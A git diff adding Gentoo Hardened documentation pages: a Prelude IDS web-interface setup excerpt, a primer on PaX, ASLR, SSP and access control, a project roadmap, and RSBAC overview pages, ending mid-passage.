+	    <p>Now we will tell Apache to load the PIWI specific configuration directives.  If we were to skip this step, when you go to the location of your website with the PIWI files, the Perl scripts will likely just show up as plain text.</p>
+	    <note>If you are already loading other Apache modules, you merely have to add <path>-D PIWI</path> rather than replacing the whole <path>APACHE_OPTS</path> line.</note>
+	    <pre caption="/etc/conf.d/apache">
+APACHE_OPTS="-D PIWI"
+</pre>
+	    <p>
+	    Next, we need to edit the PIWI configuration file to match our MySQL database settings that we used for Prelude.
+	    </p>
+	    <pre caption="/etc/piwi/config.pl">
+<comment>Edit the next two lines to suit your setup.</comment>
+$conf{'dblogin'}='prelude';
+$conf{'dbpasswd'}='dbpass';
+</pre>
+	    <p>
+	    All that is left to do is start up Apache and check to make sure that the PIWI scripts are being processed correctly.
+	    </p>
+	    <pre caption="Starting Apache">
+# <i>/etc/init.d/apache start</i>
+</pre>
+	    <p>
+	    Now point your browswer to <path>http://yoursite/piwi</path> and you should be greeted by a Web interface.
+	    </p>
+	</body>
+      </section>
+    </chapter>
+    <chapter>
+      <title>Credits</title>
+      <section>
+	<title>Works Cited</title>
+	<body>
+	  <ul><li>Collective Work.  PreludeIntrusionDetectionSystem - Gentoo Wiki.</li></ul>
+	  <ul><li><mail link="polombo@cartel-securite.fr">Polombo, Daniel</mail>.  <uri link="http://prelude-ids.org/article.php3?id_article=6">Prelude Hybrid IDS</uri>.</li></ul>
+	</body>
+      </section>
+    </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/primer.xml b/xml/htdocs/proj/en/hardened/primer.xml
new file mode 100644
index 00000000..988a21c9
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/primer.xml
@@ -0,0 +1,268 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/primer.xml">
+  <title>Introduction to Hardened Gentoo</title>
+  <author title="Author">
+    <mail link="method@gentoo.org">Joshua Brindle</mail>
+  </author>
+  <author title="Contributor">
+    <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+  </author>
+  <author title="Editor">
+    <mail link="solar@gentoo.org">Ned Ludd</mail>
+  </author>
+  <abstract>A Primer on Hardened Gentoo.</abstract>
+  <version>1.2</version>
+  <date>2007-02-07</date>
+  <chapter>
+    <title>Introduction</title>
+    <section>
+      <body>
+        <p>
+	This guide is meant for anyone unsure about the offerings of the
+	Hardened Gentoo project, how to use them together, and what their
+	respective roles in the project are.
+	</p>
+        <p>
+	The basic security principle that we emphasize is layers of security.
+	Layers are fundamental in ensuring a users machine is not compromised,
+	and if it is, minimizing the damages done.  By combining a series of
+	dissimilar, though security related technologies, we make an attacker
+	jump through additional hoops before a compromise may occur. For this
+	reason we always recommended that you decide what your specific needs
+	are and combine those solutions to protect your system. We will try to
+	explain the options and how they can be used together in  this
+	document.
+	</p>
+        <p> 
+	Hardened Gentoo is not a product or solution in itself, it is merely a
+	project with a group of developers all working toward the same goal of
+	very proactive security. The sub-projects contained in Hardened Gentoo
+	aren't related in any more way than they are hosted within the same
+	project.  You might think of it as the same way KDE and GNOME are both
+	part of the desktop project, and both have a common goal but are
+	otherwise unrelated to each other.
+	</p> 
+	<note> 
+	Asking for help installing or support of your 'Hardened Gentoo' machine
+	is not clear and should always be clarified by saying you have a
+	SELinux problem, PIE/SSP problem, and so on.
+	</note>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Technologies Offered</title>
+    <section>
+      <title>PaX</title>
+      <body>
+	<p>
+	At the heart of the project is PaX.  PaX is a kernel patch
+	that allows you to protect against buffer and heap overflows and
+	similar attacks.  PaX is your first line of defense.
+        </p>
+
+        <p>Because of badly
+	written software you are always at risk of a compromise because of
+	buffer and heap overflows. Buffer and Heap overflows are the result of
+	unchecked bounds in user input in applications.  When an attacker has
+	the ability to give input to an application that is inserted into
+	memory but not checked there exists the possibility of an overflow.
+	Lower level programming languages like C and C++ do not automatically
+	protect from overruns, and the end result is that when a buffer is
+	overrun adjacent executable code can be overwritten with input from the
+	user. This would normally cause the application to crash if the users
+	input isn't understood by the machine. This generally manifests itself
+	as a page fault because the characters that overrun the buffer into the
+	executable area will be treated as an address which probably won't
+	exist. This is the most benign result of an overrun. 
+        </p>
+
+        <p>If the attacker
+	knows of an overrun, however, they will have the opportunity to add
+	shellcode to the input and rather than causing the application to crash
+	it will instead execute the instructions they give. This is done
+	because shellcode is how instructions are stored in memory for
+	execution by the processor.  Basically shellcode consists of 'opcodes'
+	which translate to assembly routines. An attacker knows these opcodes
+	very well and can create shellcode which allows them to do anything
+	they desire, such as run a root shell and bind it to a port. When this
+	happens the user won't even be aware that it has because the
+	application doesn't crash, instead it starts executing the attackers
+	arbitrary code allowing them to do anything they please. PaX mitigates
+	this problem by randomly placing each function and buffer in an
+	application in memory. This is called ASLR or Address Space Layout
+	Randomization and is the cornerstone of PaX By having random offsets
+	for functions and buffers the attacker is unable to craft an input
+	which will guarantee that the shellcode will be executed (and makes it
+	very difficult since the application will probably crash and be
+	restarted with new random offsets). ASLR is most useful when used with
+	PIE (position independent executable) code but also works with standard
+	executable code, at the cost of overhead.
+        </p>
+
+        <p>PaX also offers the ability
+	for executable segments to be executable and not writable, and likewise
+	writable segments to be writable and not executable. This is called
+	pageexec. On x86 based processors there is no ability to do this on a
+	hardware level since the x86 designers collapsed the read and execute
+	memory flags into 1 to save space. Since a page can either be writable
+	or readable and executable it is not useful to set buffers as
+	non-executable since they would no longer be readable. So on x86 PaX
+	emulates this behavior at a software level, which introduces overhead
+	but is very helpful for security.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>PIE/SSP</title>
+      <body>
+        <p>
+	In the interest of clarity, while PIE and SSP are generally grouped in
+	discussion because they are both part of the hardened toolchain, they
+	are indeed different technologies with different purposes. PIE by itself
+	provides no additional security, but when combined with PaX in the kernel
+	provides a powerful tool against overflows.  SSP is entirely implemented
+	in userland and protects against stack smashing attacks without the
+	assistance of the kernel. Since these are implemented separately and do 
+	different things they are indeed 2 different layers of protection, for
+	example, one attack that might get past PaX, called ret2libc, would be
+	blocked by SSP.
+	</p>
+	
+	<p>
+	We have gone through great lengths to provide users with an easy way to
+	build the entire userland with PIE code as to take advantage of ASLR
+	with very little overhead. In addition to PIE our 'hardened' toolchain
+	also provides SSP or stack smashing protection. SSP protects against
+	stack smashing by allocating an area outside of buffers and putting a
+	random, cryptographic canary (or marker) in it. This allows SSP to check
+	whether the canary was overwritten after any write to the buffer and
+	allows it to kill the app if it was overwritten. The hardened toolchain
+	gives users a PIE/SSP userland the easiest possible way.  Stages marked
+	with 'hardened' are standard stages built with PIE and SSP, they do not
+	include SELinux/RSBAC/grsecurity access controls.
+	</p>
+      </body>
+    </section>
+    <section>
+      <title>Mandatory Access Control</title>
+      <body>
+	<p>
+	While PaX is the first layer of protection, perhaps even the second or
+	third if you have firewalls and/or network intrusion detection, it is
+	also recommended that you use access control to further secure your system.
+	It is very important that you realize access control as your <b>last</b>
+	layer of protection. Access control is very helpful to contain attackers
+	which already got access to your system, or local users.  Currently
+	Hardened Gentoo supports 3 access control solutions: SELinux,
+	grsecurity, and RSBAC.
+	</p>
+
+	<p>
+	If you wish to use grsecurity you need not worry about which stages to use as grsecurity
+	requires no userland changes. Simply use the hardened stages and once you are
+	ready to build a kernel use a grsecurity-enabled kernel such as
+	hardened-sources. Once your system is up and running you can use
+	grsecurity's learning mode to build ACL's for your system.
+	</p>
+
+	<p>
+	Similar to grsecurity, RSBAC does not require any userland changes but can be
+	installed after setting up a normal Gentoo installation. RSBAC is supported by
+	the rsbac-sources kernel.  Once your system is running you
+	can then choose from the different access control models offered by RSBAC
+	since they are all modules.  The RSBAC Gentoo documentation lists the various models
+	offered and provides more information about each one.
+	</p>
+
+	<p>
+	So we've talked about 2 layers that we offer, we have intentions to offer more
+	and will in the future. Examples of additional layers are intrusion
+	detection/prevention, which would be first even before PaX. 
+	Encrypted disks and swap which offer protection from 'physical' security
+	breaches.  Auditing, which would allow you to see and act upon risks before
+	they become a compromise. Encrypted network traffic and strong authentication
+	are also layers which are very supported in mainline Linux installations and
+	probably won't be focused upon here.
+	</p>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+      <title>Resources</title> 
+          <section>
+		<body>
+			<table>
+				<tr>
+					<th>
+						Project
+					</th>
+					<th>
+						Project homepage
+					</th>
+					<th>
+						Gentoo project page
+					</th>
+				</tr>
+				<tr>
+					<ti>
+						PaX
+					</ti>
+					<ti>
+						<uri link="http://pax.grsecurity.net">http://pax.grsecurity.net</uri>
+					</ti>
+					<ti>
+						<uri link="http://hardened.gentoo.org/pax-quickstart.xml">http://hardened.gentoo.org/pax-quickstart.xml</uri>
+					</ti>
+				</tr>
+				<tr>
+					<ti>
+						PIE
+					</ti>
+					<ti>
+						Not Available
+					</ti>
+					<ti>
+						Not Available
+					</ti>
+				</tr>
+				<tr>
+					<ti>
+						SSP
+					</ti>
+					<ti>
+						<uri link="http://www.trl.ibm.com/projects/security/ssp/">http://www.trl.ibm.com/projects/security/ssp/</uri>
+					</ti>
+					<ti>
+						Not available
+					</ti>
+				</tr>
+				<tr>
+					<ti>
+						SELinux
+					</ti>
+					<ti>
+						<uri link="http://www.nsa.gov/selinux">http://www.nsa.gov/selinux</uri>
+					</ti>
+					<ti>
+						<uri link="http://hardened.gentoo.org/selinux">http://hardened.gentoo.org/selinux</uri>
+					</ti>
+				</tr>
+				<tr>
+					<ti>
+						grsecurity
+					</ti>
+					<ti>
+						<uri link="http://www.grsecurity.net">http://www.grsecurity.net</uri>
+					</ti>
+					<ti>
+						<uri link="http://hardened.gentoo.org/grsecurity.xml">http://hardened.gentoo.org/grsecurity.xml</uri>
+					</ti>
+				</tr>
+			</table>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/roadmap.xml b/xml/htdocs/proj/en/hardened/roadmap.xml
new file mode 100644
index 00000000..a9981654
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/roadmap.xml
@@ -0,0 +1,310 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "roadmap.xml">
+<title>Hardened Gentoo Roadmap</title>
+<author title="Author">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Editor">
+  <mail link="tigger@gentoo.org">Rob Holland</mail>
+</author>
+<author title="Contributor">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Contributor">
+  <mail link="pebenito@gentoo.org">Chris PeBenito</mail>
+</author>
+<author title="Contributor">
+  <mail link="method@gentoo.org">Joshua Brindle</mail>
+</author>
+<author title="Contributor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Contributor">
+  <mail link="pappy@retired">Alexander Gabert</mail>
+</author>
+<author title="Contributor">
+  <mail link="tseng@retired">Brandon Hale</mail>
+</author>
+
+<abstract>
+A roadmap that plots current needs and goals of the
+Hardened Gentoo project.
+</abstract>
+
+<version>1.2</version>
+<date>2005-11-09</date>
+
+<chapter>
+<title>Where the Hardened Gentoo Project Is Today</title>
+<section>
+<body>
+
+<p>
+Past Hardened Gentoo work has focused on developing the hardened toolchain into
+the more mature, consistent approach that it currently takes.  It is
+implemented as a patchset for gcc with rules that control object code creation
+and linking scenarios. Since the spotlight of development is no longer on the
+design aspect of the toolchain, the goals of the Hardened Gentoo Project must
+shift accordingly.
+</p>
+
+<p>
+Similarly, the access control systems offered by the Hardened Gentoo Project
+have continued to mature, and both Grsecurity2 and the latest version of
+SELinux are now offered. Recent work by Guillaume Destuynder (kang) has also
+introduced RSBAC as another access control system available to Hardened Gentoo
+users.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Short-Term Goals</title>
+<section>
+<title>Hardened Toolchain</title>
+<body>
+
+<p>
+Now is the time to take a step back and examine the work that has been done so
+far. A review of the current approach that the hardened toolchain takes is
+needed. There may be ways to strengthen the current implementation or areas of
+code that can be cleaned up to allow changes to be pushed upstream easier.
+</p>
+
+<p>
+As a lingering effect of the previous hardened toolchain, many ebuilds
+currently filter hardened CFLAGS such as -fPIC and -fstack-protector. Work can
+now be devoted to reviewing those packages and seeking alternate solutions for
+the filters. Also, the hardened code in flag-o-matic.eclass should be reviewed
+and possibly rewritten.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Access Control Systems</title>
+<body>
+
+<p><b>Grsecurity</b></p>
+
+<ul>
+<li>
+Documents regarding Grsecurity are currently a major need for Gentoo. The
+existing Grsecurity2 document needs to be converted to Handbook XML. Also, a
+document describing the RBAC system in more detail is needed.
+</li>
+</ul>
+
+<p><b>SELinux</b></p>
+
+<ul>
+<li>
+Strengthen and extend current policies.
+</li>
+<li>
+Extend support to more architectures.
+</li>
+<li>
+Policy module support.
+</li>
+<li>
+Additional Daemon Policies.
+</li>
+</ul>
+
+<p><b>RSBAC</b></p>
+
+<ul>
+<li>
+Bring policy support tool to Gentoo packages.
+</li>
+<li>
+Develop default Gentoo policies with policy support tool.
+</li>
+<li>
+Enhance current documentation, and possibly add documentation about desktop
+RSBAC.
+</li> </ul>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Long-Term Goals</title>
+<section>
+<title>Documentation</title>
+<body>
+
+<p>
+The Hardened Gentoo Project is currently very lacking in documentation. The
+hardened toolchain needs to be documented fully, and older documents that have
+a relationship to the toolchain need to be updated, such as the SSP, PIE, and PIC
+documents. Also, comparative documents should be written to explain the choices
+that Hardened Gentoo has made in deciding which security tools to support and
+which not to support.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Support More Architectures</title>
+<body>
+
+<p>
+A long-term goal of the Hardened Gentoo Project is to support all of the
+architectures that are officially supported by Gentoo. The only strong support
+that exists at the moment is for x86.
+</p>
+
+<p>
+The hardened toolchain supports x86, amd64, and sparc64, and would like to extend
+support to ppc, ppc64, s390, and similar architectures.  With access to different
+kinds of hardware, hardened support can slowly be extended to those architectures
+as well.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Expand the Hardened Team</title>
+<body>
+
+<p>
+There will always be unfinished tasks for the Hardened Team. Users who take a
+proactive approach to finding places for improvement and filling in the holes
+will be noticed and probably recruited. Current Hardened Team members will be
+responsible for training new developers to fill new roles. If you are
+interested in helping out, stop by the IRC channel and let someone know what
+you are interested in and what you will be doing about it. Input/peer review
+should always be welcome as it helps everyone out in the long run.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap Tracking</title>
+<section>
+<title>Hardened Toolchain</title>
+<body>
+
+<table>
+  <tr>
+    <th>Description</th><th>Coordinator(s)</th><th>Status</th>
+  </tr>
+  <tr>
+    <ti>x86 Support</ti><ti>solar</ti><ti>Complete</ti>
+  </tr>
+  <tr>
+    <ti>amd64 Support</ti><ti>solar,r2d2</ti><ti>In experimental</ti>
+  </tr>
+  <tr>
+    <ti>sparc32 Support</ti><ti></ti><ti>Unassigned</ti>
+  </tr>
+  <tr>
+    <ti>sparc64 Support</ti><ti></ti><ti>Stalled</ti>
+  </tr>
+  <tr>
+    <ti>ppc Support</ti><ti></ti><ti>In testing</ti>
+  </tr>
+  <tr>
+    <ti>ppc64 Support</ti><ti>solar,dostrow</ti><ti>seed stage built</ti>
+  </tr>
+  <tr>
+    <ti>s390 Support</ti><ti></ti><ti>Unassigned</ti>
+  </tr>
+  <tr>
+    <ti>hppa Support</ti><ti></ti><ti>Not supported</ti>
+  </tr>
+  <tr>
+    <ti>arm Support</ti><ti></ti><ti>Unassigned (uclibc only)</ti>
+  </tr>
+  <tr>
+    <ti>mips Support</ti><ti></ti><ti>Unassigned (uclibc only)</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>SELinux</title>
+<body>
+
+<table>
+  <tr>
+    <th>Description</th><th>Coordinator(s)</th><th>Status</th>
+  </tr>
+  <tr>
+    <ti>Strengthen and extend the current policies</ti><ti>pebenito/kaiowas</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Extend support to more architectures</ti><ti>pebenito</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Policy module support</ti><ti>pebenito</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Additional Daemon Policies</ti><ti>pebenito/kaiowas</ti><ti>In Progress</ti>
+  </tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>RSBAC</title>
+<body>
+
+<table>
+  <tr>
+    <th>Description</th><th>Coordinator(s)</th><th>Status</th>
+  </tr>
+  <tr>
+    <ti>Bring policy support tool to Gentoo packages.</ti><ti>kang</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Enhance RSBAC Documentation</ti><ti></ti><ti>Unassigned</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Documentation</title>
+<body>
+
+<table>
+  <tr>
+    <th>Description</th><th>Coordinator(s)</th><th>Status</th>
+  </tr>
+  <tr>
+    <ti>Comparative analysis of security approaches taken by distributions.</ti>
+    <ti>Dave Monnier</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Rework Grsecurity Documentation</ti><ti></ti><ti>Unassigned</ti>
+  </tr>
+  <tr>
+    <ti>Update/Rewrite Propolice Documentation</ti><ti>Adam Mondl</ti><ti>In Progress</ti>
+  </tr>
+  <tr>
+    <ti>Document the Hardened Toolchain</ti><ti></ti><ti>Unassigned</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/rsbac/index.xml b/xml/htdocs/proj/en/hardened/rsbac/index.xml
new file mode 100644
index 00000000..8247dad3
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/rsbac/index.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>RSBAC</name>
+<longname>Rule Set Based Access Control</longname>
+
+<description>
+RSBAC is Mandatory Access Control security system based on the GFAC framework logic. It includes standard models, like the Role Compatibility, Access Control Lists and Mandatory Access Control. RSBAC enforces access control rules on your operating system.
+</description>
+
+<longdescription><p>
+This project manages the RSBAC support within Gentoo. This includes providing kernels with RSBAC support (loosely based on the hardened-sources), administration utilites to manage and write strong Gentoo-specific policies. RSBAC works on many different architectures using both the 2.4 or 2.6 Linux kernels.
+</p></longdescription>
+
+<goals><p>
+This project aims to make RSBAC available to more users, improve it, and improve it's integration in Gentoo Linux. We are developing a policy for the base system and the common daemons, as well as other popular programs. Currently we are mostly targetting servers, but desktops will also be supported in the future.
+The required tool for the policies is still being developped.
+</p></goals>
+
+<extrachapter position="goals">
+<title>What is RSBAC?</title>
+<section><body>
+<p>
+  <uri link="http://www.rsbac.org/">RSBAC</uri> (Rule Set Based Access Control) is free Open Source (GPL) Linux kernel security extension. RSBAC's main concept is modularity. It uses <uri link="http://rsbac.org/documentation:different_models">several</uri> well-known and new security models, including MAC, ACLs, PaX and RC among a few others. RSBAC has control over individual users and program network accesses using any combination of the possible security models. It is also as extensible as it is modular: you can write your own models for runtime registration. Finally, RSBAC provides an excellent support for the most newest stable and development Linux kernels.It is in production use from January 2000 and has proven to be very stable. You are also suggested to read the more detailled <uri link="http://www.gentoo.org/proj/en/hardened/rsbac/overview.xml">overview</uri>.
+</p>
+<p>
+ However, RSBAC itself is not a complete security solution by itself: it only gives the possibility of applying security models. Fortunately, it works well with other Hardened projects to bring you a complete solution.
+</p>
+</body></section>
+</extrachapter>
+
+
+<extraproject name="x86">
+  Support for the x86 architecture.
+</extraproject>
+<extraproject name="Documentation">
+  Full documentation for the RSBAC project.
+</extraproject>
+
+<plannedproject name="Base Policy">
+  RSBAC policy for the core system, including users, administrators, and
+  daemons in the system profile.
+</plannedproject>
+<plannedproject name="Desktop">
+  RSBAC	support on desktops.
+</plannedproject>
+
+<resource link="http://www.gentoo.org/proj/en/hardened/rsbac/overview.xml">RSBAC Overview</resource>
+<resource link="http://www.gentoo.org/proj/en/hardened/rsbac/quickstart.xml">RSBAC Quickstart</resource>
+
+<extrachapter position="resources">
+<title>How Do I Use This?</title>
+<section>
+<body>
+<p>
+  RSBAC can be installed new on a system by following the above install guide
+  for your architecture.  If there is not an install guide for your architecuture
+  yet, it is still possible to install by following the <uri link="http://www.gentoo.org/doc/en/handbook/index.xml">Gentoo Handbook</uri>.
+  When the system is installed, convert it to RSBAC by using the
+  Quickstart Guide.
+  It is suggested that you use the Hardened profile or use "hardened pie" as your USE flags during this installation.
+
+</p>
+<p>
+  Converting a preexisting Gentoo installation to RSBAC can be done by
+  following the Quickstart Guide.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>I Want to Participate</title>
+<section>
+<body>
+<p>
+  To participate in the RSBAC project first join the mailing list at
+  <c>gentoo-hardened@gentoo.org</c>. Then ask if there are plans to support
+  something that you are interested in, propose a new subproject that you are
+  interested in or choose one of the planned subprojects to work on. You may talk
+  to the developers and users in the IRC channel <c>#gentoo-hardened</c> on
+  <c>irc.freenode.net</c> for more information or just to chat about the project
+  or any subprojects. If you don't have the ability to actively help by
+  contributing work we will always need testers to use and audit the RSBAC
+  policies. All development, testing, and productive comments and feedback will
+  be greatly appreciated.
+
+</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/hardened/rsbac/intro.xml b/xml/htdocs/proj/en/hardened/rsbac/intro.xml
new file mode 100644
index 00000000..71e84637
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/rsbac/intro.xml
@@ -0,0 +1,77 @@
+<?xml version='1.0' encoding="UTF-8"?> <!DOCTYPE guide SYSTEM
+"/dtd/guide.dtd">
+
+<guide link="intro.xml">
+
+<title>Rule Set Based Access Control (RSBAC) for Linux -
+Introduction</title>
+
+<author title="Author">
+  <mail link="ao@rsbac.org">Amon Ott</mail>
+</author> <author title="Editor">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author> <author title="Editor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author> <abstract> This document should introduce you to the RSBAC
+access control system.	</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+--> <!-- See http://creativecommons.org/licenses/by-sa/1.0 --> <license/>
+
+<version>1.0</version> <date>2 June 2004</date>
+
+<chapter> <title>Introduction</title> <section> <title>Traditional access
+control systems and RSBAC</title> <body>
+
+<p> Traditional access control systems used to be melted into the system
+kernel. The actual security policy was deeply connected to the whole
+design of the system and hard-coded into the security part, making
+modifications to meet changed requirements a difficult task.  </p>
+
+<p> In this work I used a new proposal by L. J. La Padula, based on the
+"Generalized Framework for Access Control", which was developed by
+a working group led by Marshall Abrams at MITRE. By division of the
+functional components they made it possible to simply configure many
+different security policies based on well-known and easily extensible
+models.  </p>
+
+</body> </section> <section> <title>Implementation</title> <body>
+
+<p> For the implementation I choosed the Unix Linux variant of Unix,
+thanks to it's freely available source code. It is also very stable and
+near to both La Padula's example system and also common Unix standards,
+making the results easy to transfer to other systems. The package was
+named "Rule Set Based Access Control" (RSBAC).	</p>
+
+<p> Using a Unix like system produced the major goal of extending a
+weak, discretionary access control by a new, stronger, more flexible
+and mandatory control. Instead of encoding it should make the adaption
+of security policies possible by administration of several security
+modules. Easy addition of other security modules was to be included
+as well.  </p>
+
+<p> In this thesis La Padula's proposal is checked, extended, completed
+for a real system and at last implemented in it.  </p>
+
+<p> As a special example for the ability of integration Dr. Simone
+Fischer-Huebner's complex Privacy Model was chosen, implementing it for
+the first time in a real system. Its adaption to my concept was done
+together with Simone Fischer-Huebner.  </p>
+
+<p> Placing a focus on Privacy, the extensive logging is done using
+pseudonyms that can be changed and read only by security managers or
+data protection managers.  </p>
+
+<p> In the end the gain in security and safety is checked against the
+ITSEC funtional criteria, extended by two privacy goals.  </p>
+
+</body> </section> </chapter>
+
+<chapter> <title>References</title> <section> <body>
+
+<p> <uri>http://www.cs.kau.se/~simone/</uri>
+</p>
+
+</body> </section> </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/rsbac/overview.xml b/xml/htdocs/proj/en/hardened/rsbac/overview.xml
new file mode 100644
index 00000000..e2059876
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/rsbac/overview.xml
@@ -0,0 +1,275 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd"> 
+
+<guide link="overview.xml">
+	
+<title>Rule Set Based Access Control (RSBAC) for Linux - Overview</title>
+
+<author title="Author">
+  <mail link="ao@rsbac.org">Amon Ott</mail>
+</author>
+<author title="Editor"> 
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author>
+<author title="Editor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>  
+
+<abstract>
+This document should give you an overview of RSBAC access control system.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.2</version> 
+<date>11 October 2005</date>
+
+<chapter>
+<title>Key features</title>
+
+<section>
+<body>
+
+<ul>
+<li>Free Open Source (GPL) Linux kernel security extension</li>
+<li>Independent of governments and big companies</li>
+<li>Several well-known and new security models, including MAC, ACL and RC</li>
+<li>Control over individual users and program network accesses</li>
+<li>Any combination of models is possible</li>
+<li>Easily extensible: write your own model for runtime registration</li>
+<li>Supports all the current kernels</li>
+<li>Stable for production use</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What is RSBAC?</title>
+<section>
+<body>
+
+<p>	
+RSBAC is a flexible, powerful and fast open source access control
+framework for current Linux kernels, which has been in stable production
+use since January 2000 (version 1.0.9a). The full developement has been done independentely, and no existing access control code has been reused.
+</p>
+
+<p>
+The standard package includes a range of access control models like MAC,
+RC, ACL (see below). Furthermore, the runtime registration facility
+(REG) makes it easy to implement your own access control model as a kernel
+module and get it registered at runtime.
+</p>
+
+<p>
+The RSBAC framework is based on the <uri link="http://www.acsac.org/secshelf/book001/09.pdf">Generalized Framework for Access Control (GFAC)</uri> by Abrams and LaPadula. All security relevant system calls
+are extended by security enforcement code. This code calls the central
+decision component, which in turn calls all active decision modules and
+generates a combined decision. This decision is then enforced by the
+system call extensions.
+</p>
+
+<p>
+Decisions are based on the type of access (request type), the access
+target and on the values of attributes attached to the subject calling and
+to the target to be accessed. Additional independent attributes can be
+used by individual modules, e.g. the privacy module (<uri link="#doc_chap3_sect4">PM</uri>). All attributes
+are stored in fully protected directories, one on each mounted device.
+Thus changes to attributes require special system calls.
+</p>
+
+<p>
+All types of network accesses can be controlled
+individually for all users and programs. This gives you full control over
+their network behaviour and makes unintended network accesses easier to
+prevent and detect.
+</p>
+
+<p>
+As all types of access decisions are based on general decision requests,
+many different security policies can be implemented as a decision module.
+Apart from the builtin models shown below, the optional Module
+Registration (REG) allows for registration of additional, individual
+decision modules at runtime.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Implemented models</title>
+<section>
+<body>
+
+<p>
+In the RSBAC version 1.2.5, the following modules are included. Please
+note that all modules are optional.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>MAC</title>	
+<body>
+<p>
+Bell-LaPadula Mandatory Access Control
+</p>
+</body>
+</section>
+
+<section>
+<title>UM</title>
+<body>
+<p>
+The User Management in RSBAC is kernel based and complements or totally replace 
+Linux’s subsystem.
+Administration of users is enforced with granularity and flexibility.
+</p>
+</body>
+</section>
+
+<section>
+<title>PM</title>
+<body>
+<p>
+Privacy Model. <uri link="http://www.cs.kau.se/~simone/">Simone Fischer-Huebner</uri>'s Privacy Model in its
+first implementation. See RSBAC <uri link="http://rsbac.org/doc/media/niss98.php">paper on PM implementation</uri>
+for the National Information Systems Security Conference (NISSC 98)
+</p>
+</body>
+</section>
+
+<section>
+<title>Dazuko</title>
+<body>
+<p>
+This is not really an access control model, but rather a system protection module against
+malware. Execution and reading of malware infected files can be prevented.
+</p>
+</body>
+</section>
+
+<section>
+<title>FF</title>	
+<body>
+<p>
+File Flags. Provide and use flags for dirs and files, currently
+execute_only (files), read_only (files and dirs), search_only
+(dirs), secure_delete (files), no_execute (files), add_inherited
+(files and dirs), no_rename_or_delete (files and dirs, no
+inheritance) and append_only(files and dirs). Only FF security
+officers may modify these flags.
+</p>
+</body>
+</section>
+
+<section>
+<title>RC</title>
+<body>
+<p>
+Role Compatibility. Defines roles and types for each target type
+(file, dir, dev, ipc, scd, process). For each role, compatibility
+to all types and to other roles can be set individually and with
+request granularity. For administration there is a fine grained
+separation-of-duty. Granted rights can have a time limit. Please
+also refer to the <uri link="http://rsbac.org/doc/media/rc-nordsec2002/index.html">Nordsec 2002 RC Paper</uri> for the detailed model
+design and specification.
+</p>
+</body>
+</section>
+
+<section>
+<title>AUTH</title>	
+<body>
+<p>
+Authorization enforcement. Controls all CHANGE_OWNER requests for
+process targets, only programs/processes with general setuid
+allowance and those with a capability for the target user ID may
+setuid. Capabilities can be controlled by other
+programs/processes, e.g. authentication daemons.
+</p>
+</body>
+</section>
+
+<section>
+<title>ACL</title>
+<body>
+<p>
+Access Control Lists. For every object there is an Access Control
+List, defining which subjects may access this object with which
+request types. Subjects can be of type user, RC role and ACL
+group. Objects are grouped by their target type, but have
+individual ACLs. If there is no ACL entry for a subject at an
+object, rights are inherited from parent objects, restricted by an
+inheritance mask. Direct (user) and indirect (role, group) rights
+are accumulated. For each object type there is a default ACL on
+top of the normal hierarchy. Group management has been added in
